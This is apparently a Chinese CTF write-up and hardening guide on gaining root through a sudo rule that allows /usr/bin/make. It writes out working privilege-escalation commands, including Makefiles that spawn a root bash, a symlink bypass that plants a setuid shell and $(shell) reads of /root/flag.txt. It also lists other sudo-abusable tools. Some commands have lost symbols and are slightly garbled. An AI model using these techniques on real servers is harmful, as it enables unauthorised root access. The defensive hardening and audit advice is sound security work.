sudo make提权实战:从CTF漏洞到Linux服务器权限加固

发布时间:2026/10/8 19:02:59
sudo make提权实战:从CTF漏洞到Linux服务器权限加固 CTF圈子里有一句老话拿到 shell 不算本事能把 sudo 那条规则玩出花才算。DEF CON CTF 的这道 “Sudo Make Me a Sandwich”外行看以为是段子内行一看标题就明白——出题人把经典的 “sudo make me a sandwich” 梗直接做成了权限提升题。关键不在 sandwich而在那一条看似无害的 sudo 规则允许低权限用户以 root 运行 make。这道题非常适合两类人一类是正在练 privilege escalation 的 CTF 选手另一类是负责加固服务器的运维。因为它的攻击面不是某个漏洞 CVE而是系统配置中“权限边界”的模糊地带。你不需要旁路攻击不需要内核 exploit只需要理解 sudo 的命令匹配规则、make 的命令执行本性以及环境变量传递的细节就能把一条合法的 sudo 命令变成完整的特权执行链。这篇文章会从信息收集开始逐步复盘我在这道题上的操作过程包括三种提权姿势、踩过的坑以及从题目延伸出来的生产环境加固思路。1. 挑战速览一个被sudo宠坏的make命令1.1 拿到题目后的第一印象与信息收集登录进靶机之后第一件事永远不是急着找 flag而是搞清楚自己是谁、能干什么。常规信息收集三板斧先跑一遍id cat /etc/os-release sudo -l ls -la /home/user env | sort当时看到sudo -l的输出我差点笑出来User user may run the following commands on box: (root) NOPASSWD: /usr/bin/make一条非常朴素的 sudo 规则没有任何参数白名单没有指定目录没有 NOPASSWD 的额外解释。也就是说运行sudo /usr/bin/make时make 进程会以 root 身份启动而且完全不需要密码。这一步其实已经把攻击面摆到了脸上但很多人会卡在“make 不是编译工具吗怎么提权”这个思维定式里。后面我会详细拆这里先往下看我再顺手确认了/home/user下有没有现成的源代码工程、可疑文件结果只有一个 README里面写着“build system test project”。这个提示基本就是在告诉我出题人希望你把注意力放在 make 上。1.2 权限边界到底画在哪权限边界这个词听起来很玄实际就是一个朴素的对比普通用户能做什么root 能做什么以及 sudo 允许你“借用”多少 root 的能力。在这道题里普通用户 user 的边界是不能读/etc/shadow不能读/root/flag.txt不能写系统目录不能向system发送信号、不能加载内核模块不能直接执行 root 权限的系统管理操作而sudo /usr/bin/make这条规则打开了一个很小的口子只有/usr/bin/make这个二进制能获得 root 权限。如果 sudoers 里写的是sudo cat或sudo ls那可能只是信息泄露而 make 特殊就特殊在——它本身就是一个“命令执行器”。用生活类比解释sudo 是一张门禁卡刷卡之后只能进入“让 make 以 root 身份运行”这个房间。你原以为这个房间里只有一个编译器可进去之后发现房间里还藏着一台任何人都能输入的 root shell 终端关键是你得知道敲什么命令让它吐出来。这就是权限边界的漏洞——门禁卡限定了二进制却没限定二进制内部的行为。从技术上说这条规则的权限边界是make 进程的 UID 是 0它能读取/写入/执行 root 权限范围内的任何操作唯一限制的是这个进程的“意图”只能来自文件系统里的 Makefile 文件。而 Makefile 的语法里天然支持执行任意 shell 命令。所以权限边界被跨过只是时间问题。2. 攻击面剖析make命令是天生的提权跳板2.1 make的设计弱点规则命令就是在执行shell要搞懂这道题必须重新审视 make 的本质。我们平时写 Makefile 是这样的all: gcc main.c -o app看起来像是声明依赖关系但 make 的底层行为其实非常简单每一个规则下面的命令都会交给/bin/sh去执行。也就是说all:这个目标一旦被选中make 会 fork 一个 shell 进程然后把这个 target 下的每一行命令交给 shell 解释执行。换句话说任何能控制 Makefile 内容的人本质上就是在向 root 权限的 shell 里输命令。更“公正”地说make 的工具定位就是如此它是构建系统需要让编译、链接、清理等操作发生在用户的 shell 上下文里。但设计之初并没有考虑到“会被 sudo 加上 root 权限”这种场景。所以当 sudo 允许普通用户运行 make 时出题人等于直接把一台 root shell 的门把手交给了玩家只是玩家需要知道怎么找到门。除了规则命令make 还有其他几个能执行命令的机制$(shell ...)函数在解析 Makefile 时立即执行 shell 命令。$(eval ...)动态生成规则。include指令可以包含另一个文件那个文件里也可以写规则。内置变量$(SHELL)、$(MAKE)可以被 Makefile 接管指向恶意程序。哪怕规则命令界面受到限制只要有其中一个机制没有被封住make 仍然是提权跳板。2.2 sudo配置缺陷放大了攻击面光有 make 的“命令执行天性”还不足以凑成这道题sudo 自身的配置缺陷才是放大攻击面的关键。我复盘时总结了三个关键配置点第一没有参数白名单。如果 sudoers 写的是user ALL(root) NOPASSWD: /usr/bin/make那么用户可以在后面挂上任意参数。make -f允许指定任意文件作为 Makefile这就意味着我们能绕过“当前目录默认 Makefile”的限制。更极端的还有make -f -直接从标准输入读取 Makefile 内容连文件都不用建。第二没有启用 secure_path。sudo 的Defaults secure_path会强制子进程使用系统默认 PATH比如/usr/sbin:/usr/bin:/sbin:/bin。这道题没有设置所以用户自己的$PATH会原样继承。虽然在这个特定场景里我们直接用 Makefile 就能执行命令但如果有需要调用用户可控的外部程序PATH 配置就变成了攻击面的一部分。第三环境变量处理。默认情况下 sudo 会做env_reset但如果配置里开了env_keep指定保留某些危险变量比如LD_PRELOAD、LD_LIBRARY_PATH那么提权方式会更多。这道题没有env_keep但我们需要理解环境变量传递的逻辑因为它会影响后续的绕过判断。实际上一个正常的防御配置应该怎么写至少应该限定 make 的-C到某个特定构建目录并且设置secure_path。这道题故意没有做这些就是为了突出“命令白名单给得越宽权限边界越模糊”这个主题。3. 特权执行链的完整构建从user到root的三种姿势3.1 姿势一恶意Makefile直接种后门先来最简单粗暴的一条路。因为我确定了sudo /usr/bin/make可以带任意参数那么构造一个恶意 Makefile规则命令直接反弹 shell 或者执行拷贝命令即可。先在工作目录写一个文件pwn.mkall: /bin/bash -p这里有一个严重依赖缩进的关键点Makefile 规则下的命令前必须是Tab 字符不是空格。如果写成空格make 会报missing separator。然后执行userbox:~$ cat /tmp/pwn.mk EOF all: /bin/bash -p EOF userbox:~$ sudo /usr/bin/make -f /tmp/pwn.mk make: Entering directory /tmp /bin/bash -p rootbox:/tmp# id uid0(root) gid0(root) groups0(root)就这么简单。make 以 root 身份解析/tmp/pwn.mk读到all:规则然后把/bin/bash -p交给 root 的 shell 执行。由于 make 进程的 UID 已经是 0生成的 bash 自然也是 root 权限不需要依赖 setuid。这个姿势的关键是理解-f参数默认情况下 make 只会在当前目录搜索GNUmakefile、makefile、Makefile但-f允许我们指定任意路径甚至指定/dev/stdinecho all:; /bin/bash | sudo /usr/bin/make -f -这种利用方式在真实环境里往往可以简化为一行命令非常适合快速验证 sudo 规则是否有问题。3.2 姿势二限制目录下用符号链接借路第一轮利用太顺利了于是我给这道题“加了点料”来模拟加固后的情况。假如 sudoers 把规则改成user ALL(root) NOPASSWD: /usr/bin/make -f /var/build/*这个配置看起来聪明了一些把 make 的参数限定在/var/build目录下的文件里仿佛只有构建目录里的老 Makefile 才能被解析。但权限边界的问题在于sudo 只对传入的命令行参数做字符串匹配不会跟着参数去解析符号链接。于是可以进行符号链接绕过。前提是你对/var/build目录有写权限或者至少能创建符号链接。现实中很多构建目录会允许开发人员写入或者由某个服务在部署时自动生成权限可能比较宽松。构造恶意 Makefilemkdir -p /tmp/pwn cat /tmp/pwn/Makefile EOF all: cp /bin/bash /tmp/rootshell chmod s /tmp/rootshell EOF创建一个符号链接让/var/build/link指向上面的恶意 Makefileln -s /tmp/pwn/Makefile /var/build/link然后执行sudo /usr/bin/make -f /var/build/linksudo检查参数包串时只看到/var/build/link认为它匹配了模式/var/build/*于是放行。而 make 打开这个参数时会顺着符号链接找到真实文件/tmp/pwn/Makefile以 root 身份执行里面的命令。结果就是/var/build下挂着一个被blessed的恶意 Makefile最终生成一个 setuid root shell。这里有个容易被忽略的细节如果直接把-f /var/build/*交给 shell 而不加引号shell 会先展开通配符把/var/build下所有文件名都展开成多个参数导致 make 参数错误。所以正确姿势是加引号或用确切的路径名sudo /usr/bin/make -f /var/build/link这个坑在实战中真的很常见你辛辛苦苦搭好符号链接结果因为 shell 通配符展开直接报错。符号链接绕过的本质是“数据在运行时解析路径还是规则在匹配路径”的错位。任何有安全策略检查的工具都存在类似问题比如 web 目录绕过里经常用软链接指向敏感区域。3.3 姿势三当secure_path挡住PATH还有makefile内部变量现在假设运维加了Defaults secure_path/usr/bin:/bin同时也打开env_reset环境变量被清干净。很多人会觉得这样应该能挡住大部分提权毕竟 PATH 被锁死了你没法在/tmp下放一个同名恶意二进制被 sudo 调用。但 make 这个工具的特殊性再次体现Makefile 规则里的命令不依赖用户传入的 PATH。因为 make 执行命令的方式是直接 fork 一个/bin/sh然后把规则行里的字符串原样交给 shell。所以哪怕 PATH 是干净的我们依然可以在 Makefile 里写完整路径来执行任意命令all: /bin/sh -c id /tmp/make_id/bin/sh是绝对路径不会被 secure_path 影响。更极端一点利用 make 内置的$(shell ...)函数在解析阶段执行$(shell /bin/cat /root/flag.txt /tmp/flag.txt) all: touch /tmp/pwned当 make 加载这个文件刚读到第一行$(shell ...)就会触发以 root 权限执行cat和重定向操作然后才继续解析后续规则。这种利用方式不依赖任何规则是否被选中可以说是最强的“进门即死”型 Makefile。还有一个内置变量可以玩$(SHELL)。make 中SHELL默认为/bin/sh但是可以在 Makefile 中赋值覆盖SHELL : /tmp/evil_shell all: -payload_here这样规则命令会由/tmp/evil_shell来执行相当于是把 Makefile 变成了进程注入的载体。所以secure_path 和 env_reset 在这个场景里并不能构成有效防线。它们能防住的是“通过 PATH 搜索恶意工具”的行为但防不住“显式指定完整路径”的行为。如果真要防必须限制 make 读取哪些 Makefile、允许哪些参数甚至干脆不要把 make 交给普通用户。3.4 串成完整链条一次真实的flag获取过程前三个姿势拆开看都不难但真正体现“攻防复盘”价值的是把它们串成一条完整链条。我在靶机上的实操记录大致是下面这样的。第一步信息收集确定 sudo 规则发现/usr/bin/make可以 NOPASSWD 以 root 运行。第二步判断当前的 make 参数限制。如果sudo -l显示纯命令路径没有参数限制直接用-f指定恶意 Makefile。第三步在当前可写目录构造 Makefileuserbox:~$ cat /tmp/pwn.mk EOF all: cat /root/flag.txt /tmp/out.txt chmod 644 /tmp/out.txt EOF第四步通过sudo触发userbox:~$ sudo /usr/bin/make -f /tmp/pwn.mk make: Entering directory /tmp cat /root/flag.txt /tmp/out.txt chmod 644 /tmp/out.txt make: Leaving directory /tmp第五步检查输出文件userbox:~$ cat /tmp/out.txt DEFCON{make_me_a_sandwich_but_take_away_the_root}拿 flag 的过程毫无波澜但真正值得留意的不是最后一行 flag而是中间那个“以为只允许 make 编译”的认知偏差。权限边界是逻辑上的墙而特权执行链是利用工具的内在能力把这堵墙逐块拆掉的过程。这道题里的每一个二进制都待在它的合法位置但一旦被赋予了额外的权限上下文完整链路就顺理成章了。4. 踩坑实录与排查技巧4.1 sudo只认绝对路径第一次测试时我直接敲了sudo make -f /tmp/pwn.mk结果 sudo 报错Sorry, user user is not allowed to execute /usr/bin/make -f /tmp/pwn.mk as root on box明明 sudoers 里写了允许 make为什么被拒因为 sudo 匹配命令时如果用户执行的是相对路径makesudo 会自己去 PATH 里解析解析到的最终路径可能是/usr/bin/make但有时它不会去解析而是直接拒绝。更稳妥的做法是始终使用绝对路径/usr/bin/make来调用。这个坑在真实运维中非常常见sudoers 里写着/usr/bin/make可脚本里写的是sudo make clean在不同系统上正则匹配方式不一样出现各种奇怪的 “command not allowed”。规则是死的命令路径也必须是完整的不要依赖 PATH 解析。4.2 Makefile“无事可做”与Tab字符陷阱期望中的 make 执行命令结果输出却是make: Nothing to be done for all.第一次遇到这个我愣了两秒。原因很简单Makefile 里的规则没有真正可执行的命令行或者是命令行被写成了变量赋值。make 默认目标没有更新需求时会直接宣布无事可做。解决方法是确保安全规则有一个明确的目标并且命令在规则正下方、以 Tab 缩进、有实际内容。比如all: /bin/bash -c pwd另一个更隐蔽的坑是 Tab 字符。很多编辑器会在你粘贴代码时自动把 Tab 转成四个空格然后 make 报Makefile:2: *** missing separator. Stop.这个报错信息对新手极不友好但原理很简单make 要求规则行必须以 Tab 开头空格不算。在写恶意 Makefile 时我一般直接在终端里用cat配合 heredoc 生成避免编辑器自动转换cat /tmp/pwn.mk EOF all: cat /root/flag.txt /tmp/flag EOF4.3 需要tty的幽灵与自动化环境下的坑在一些严格加固的服务器上sudoers 里会配置Defaults requiretty要求执行 sudo 的会话必须拥有 TTY。直接通过ssh host sudo ...这类非交互方式执行时sudo 会直接拒绝sudo: sorry, you must have a tty to run sudo很多自动化脚本都会栽在这上面。解决办法有几种一种是在 SSH 命令里申请伪终端ssh -t userhost sudo /usr/bin/make -f /tmp/pwn.mk另一种是本地的script -q /dev/null -c sudo ...也可以强制分配一个 pty。但是在正式生产环境里更推荐从安全角度出发保留requiretty并修改调用方式而不是把这个限制关掉。这道题的攻防复盘里tty 虽然不是一个提权利用点但它会直接影响利用脚本的稳定性和可重复性值得我们记录。4.4 环境变量重置真的挡得住make吗有朋友问如果 sudo 配置了env_reset用户自定义环境变量全部清空那前面这些姿势还成立吗成立。关键要理解 make 执行命令的上下文。env_reset 影响的是子进程继承的环境变量而 make 从 Makefile 中读取规则时命令实际上由 make 启动的/bin/sh执行它不依赖攻击者原有的 PATH、LD_PRELOAD 这类变量。只要 Makefile 里的命令使用绝对路径就可以完全不理会环境变量重置。反过来如果运维真的想靠环境变量来防提权唯一的方法是配合secure_path把所有用户可控路径从 PATH 中剔除同时禁止 makefile 中出现绝对路径命令行为。但后者几乎不可能实现因为 makefile 本来就应该写绝对路径吗显然不是。所以结论是治理这类提权的重点不在环境变量而在“要不要把 make 交给用户”以及“允许参数的白名单怎么写”。5. 从CTF到生产环境几个值得反复检验的权限点5.1 构建工具类Sudo提权模式盘点复盘完这道题我最想提醒的一句话是不要只盯着 make凡是“自带命令执行能力”的工具一旦被塞进 sudo 白名单都值得重新审视。常见的同类工具有工具危险参数落地方式make-f、-C、$(shell)恶意 Makefile 执行任意命令pip--global-option、--config-settings恶意 setup.py 在安装时触发执行npmpreinstall、postinstall脚本package.json 的构建钩子被执行gitcore.pager、core.editor、别名通过配置触发外部命令vim/less--cmd、、-c进制编辑器内执行 shellfind-exec、-ok在 sudo 下执行任意命令tar--checkpoint-actionexec通过 checkpoint 触发命令这些工具都有一个共同特点在文件输入或命令行选项背后隐藏着“间接执行外部程序”的能力。当一个工具被添加到 sudoers 时实际上等于把这些间接执行能力升级成了 root 权限。生产环境如果非要用这类工具最好的做法不是给sudo xxx而是给一个封装后的脚本脚本内部严格校验参数、固定目录并且不把用户可控的输入直接透传给底层命令。5.2 最小权限落地的四条军规从这道题提炼出的加固经验我在复盘后总结成了四条很朴素的规则。第一条sudo 白名单必须带参数约束。最简单的user ALL(root) /usr/bin/make等于没有约束至少要写成/usr/bin/make -C /var/build/*并且尽量不要使用*作为通配优先使用dir加上make的-C参数。但要注意参数约束必须配合目录权限否则符号链接绕过仍然存在。第二条尽量使用 sudoedit 而不是 sudo 编辑器。允许用户编辑文件时用sudoedit可以提供安全校验而不必直接把 vim 的 root 权限交出去。同理构建任务也可以考虑用 CI runner 而不是临时把 sudo 权限发给普通用户。第三条环境变量清理要配合命令白名单。开启env_reset、secure_path只能挡掉“环境变量注入”这一整类问题但挡不住 makefile 里的显式路径调用。真正的防线是“不允许普通用户运行这类命令执行器”如果必须要运行就要用 seccomp、容器、虚拟机等手段隔离。第四条定期审计 sudo 规则。可以参考这道题把 sudoers 里所有带 root 权限的命令拉出来逐个判断这个命令能否被普通用户控制输入输入里能否触发 shell 执行。建议用一个简单的审计清单表格记录命令路径 | 参数限制 | 可写目录 | 是否存在间接执行能力 | 结论这种自问自答的方式能在问题爆发前就发现授权过宽的隐患。我在复盘这道题时常跟队友说别把 sudo 当成万能钥匙特别是当这把钥匙交给 make、pip、npm 这种自带命令执行能力的工具时。这道题的 flag 拿得有多容易生产环境的教训就有多深。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询